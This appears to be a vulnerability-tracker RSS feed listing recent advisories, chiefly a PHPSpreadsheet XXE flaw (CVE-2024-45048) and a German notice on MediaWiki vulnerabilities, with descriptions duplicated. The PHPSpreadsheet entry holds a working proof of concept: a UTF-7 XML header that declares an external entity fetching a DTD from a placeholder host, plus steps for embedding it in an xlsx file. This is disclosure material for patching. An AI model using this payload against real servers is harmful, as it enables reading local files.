https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sun, 04 Oct 2026 05:24:12 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-160516 EUVD-2026-160516 https://cve.radiocsirt.org/vuln/euvd-2026-160516 https://cve.radiocsirt.org/vuln/fkie_cve-2024-45048 <p>PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.</p> <p>PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-45048 https://cve.radiocsirt.org/vuln/ghsa-ghg6-32f9-2jp7 <p><strong>Affected:</strong> Packagist: phpoffice/phpspreadsheet, Packagist: phpoffice/phpexcel</p> <p>### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)</p> <p>### Details Check ` $pattern = &#39;/encoding=&#34;(.*?)&#34;/&#39;;` easy to bypass. Just use a single quote symbol `&#39;`. So payload looks like this: ``` &lt;?xml version=&#34;1.0&#34; encoding=&#39;UTF-7&#39; standalone=&#34;yes&#34;?&gt; +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &#34;http://example.com/file.dtd&#34;&gt; %xxe;]&gt; ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.</p> <p>### PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;yes&#34;?&gt;` to ``` &lt;?xml version=&#34;1.0&#34; encoding=&#39;UTF-7&#39; standalone=&#34;yes&#34;?&gt; +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &#34;http://%webhook%/file.dtd&#34;&gt; %xxe;]&gt; ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file: ``` use PhpOffice\PhpSpreadsheet\IOFactory; require __DIR__ . &#39;/vendor/autoload.php&#39;; $spreadsheet = IOFactory::load(&#34;file.xlsx&#34;); ``` 7) You will receive the request to your `http://%webhook%/file.dtd` 8) Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.</p> <p>### Impact Read local files </p> <p><strong>Affected:</strong> Packagist: phpoffice/phpspreadsheet, Packagist: phpoffice/phpexcel</p> <p>### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)</p> <p>### Details Check ` $pattern = &#39;/encoding=&#34;(.*?)&#34;/&#39;;` easy to bypass. Just use a single quote symbol `&#39;`. So payload looks like this: ``` &lt;?xml version=&#34;1.0&#34; encoding=&#39;UTF-7&#39; standalone=&#34;yes&#34;?&gt; +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &#34;http://example.com/file.dtd&#34;&gt; %xxe;]&gt; ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.</p> <p>### PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;yes&#34;?&gt;` to ``` &lt;?xml version=&#34;1.0&#34; encoding=&#39;UTF-7&#39; standalone=&#34;yes&#34;?&gt; +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &#34;http://%webhook%/file.dtd&#34;&gt; %xxe;]&gt; ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file: ``` use PhpOffice\PhpSpreadsheet\IOFactory; require __DIR__ . &#39;/vendor/autoload.php&#39;; $spreadsheet = IOFactory::load(&#34;file.xlsx&#34;); ``` 7) You will receive the request to your `http://%webhook%/file.dtd` 8) Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.</p> <p>### Impact Read local files </p> https://cve.radiocsirt.org/vuln/ghsa-ghg6-32f9-2jp7 https://cve.radiocsirt.org/vuln/wid-sec-w-2024-3087 <p>Ein Angreifer kann mehrere Schwachstellen in MediaWiki ausnutzen, um beliebigen Code auszuführen, vertrauliche Informationen offenzulegen, einen Cross-Site-Scripting-Angriff durchzuführen oder Dateien zu manipulieren.</p> <p>Ein Angreifer kann mehrere Schwachstellen in MediaWiki ausnutzen, um beliebigen Code auszuführen, vertrauliche Informationen offenzulegen, einen Cross-Site-Scripting-Angriff durchzuführen oder Dateien zu manipulieren.</p> https://cve.radiocsirt.org/vuln/wid-sec-w-2024-3087